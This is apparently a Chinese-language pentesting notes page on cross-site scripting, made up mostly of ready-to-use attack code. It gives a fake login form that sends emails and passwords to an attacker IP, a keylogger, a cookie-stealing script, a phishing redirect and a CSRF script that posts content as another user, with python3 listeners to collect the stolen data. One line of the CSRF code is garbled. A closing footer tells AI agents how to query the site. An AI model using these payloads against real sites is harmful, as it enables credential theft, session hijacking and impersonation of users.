> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# XSS 技术

## XSS（反射型）：

> 反射型：当用户提供的数据在 HTTP 响应中未经适当验证就被反射回来时，就会发生这种类型的 XSS。这使攻击者能够向响应中注入恶意代码，然后这些代码会在用户的浏览器中执行。

* 在这种情况下，我们可以像下面的示例那样注入 HTML 代码： `test <h1> Test </h1>`:

<figure><img src="/files/0e608a74008b316e870504267be1da2e57d0e02d" alt="" width="563"><figcaption></figcaption></figure>

* 我们可以看到，我们能够通过以下标签修改文本大小： **h1** 标签：

<figure><img src="/files/13dd80aec812d0571915746f4cbc6c0c10684479" alt="" width="375"><figcaption></figcaption></figure>

## XSS（存储型）：

> 存储型：当攻击者能够将恶意代码存储到数据库中，或存储到托管存在漏洞页面的 Web 服务器上时，就会发生这种类型的 XSS。每次页面加载时都会执行这段代码。如果我们在表单中运行如下脚本， `<script>alert("XSS")</script>`并看到下面的警报，这就意味着该网站易受这种攻击：

<figure><img src="/files/699e1590624c8b882b399619f57496f2ca77cf36" alt="" width="563"><figcaption></figcaption></figure>

我们可以将用户重定向到一个存在漏洞的网站，并实施钓鱼攻击：

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

这段 JavaScript 代码会在网页上创建一个登录表单，并通过一个 HTTP 请求将输入的数据（电子邮件地址和密码）发送到指定的 IP 地址，使用 `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    '电子邮件: <input type="email" id="email" required>' +
    ' 密码: <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="Submit">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/d14c155b2233aa49cb405c596efb1b37144588e0" alt="" width="563"><figcaption></figcaption></figure>

我们在 80 端口上监听，使用 **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/d41cdafb06b92efd33269a47d3e7f219940f81bf" alt=""><figcaption></figcaption></figure>

## XSS（基于 DOM）：

> 基于 DOM：当恶意代码通过 DOM（文档对象模型）在用户的浏览器中执行时，就会发生这种类型的 XSS。当网页上的 JavaScript 代码以一种容易受到恶意代码注入的方式修改 DOM 时，就会发生这种情况。下面的脚本可以捕获用户的所有按键输入，并将它们发送到一个 **python3** 80 端口上的服务器：

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

我们可以通过以下方式监听，并只过滤出我们关心的字符： **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/6fc2dd8e936f835de3e1c3507710a3228d1fe4c6" alt=""><figcaption></figcaption></figure>

***

为了从服务器端获取会话 cookie，我们在自己的电脑上创建这个文件 **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

在表单中，我们发送这个脚本：

```html
<script src="http://192.168.71.128/test.js"></script>

```

我们监听并获取用户的会话 cookie：

<figure><img src="/files/6d0edd6c72d9589fd896d59d275bae539b838500" alt=""><figcaption></figcaption></figure>

要以另一人的名义写入内容，我们可以按照以下步骤操作：使用 [Burp Suite](/zh/hacking-tools/web/burpsuite.md) 拦截请求并复制用红色高亮的内容：

<figure><img src="/files/7929854cfd77d316bc6b27023c1c113975ededf6" alt="" width="563"><figcaption></figcaption></figure>

下面的脚本执行一次 **GET** 对本地 URL 的请求，分析 HTML 响应以识别一个 **CSRF** 令牌，然后向同一 URL 发起一个包含 CSRF 令牌的数据的 POST 请求。经过 URL 编码的 `数据` 变量会将信息发送到部署该脚本的服务器。必须修改 `数据` 这些值、令牌和 IP 地址。

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

在表单中，我们发送这个脚本：

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

我们使用 python3 在 80 端口上监听：

<figure><img src="/files/7c1f46e33d33b39876491fc03acc947376b30528" alt=""><figcaption></figcaption></figure>

消息 **以另一位用户的名义发送** 已被传输：

<figure><img src="/files/1083d65132603560b649e785ef614f56c02568e8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
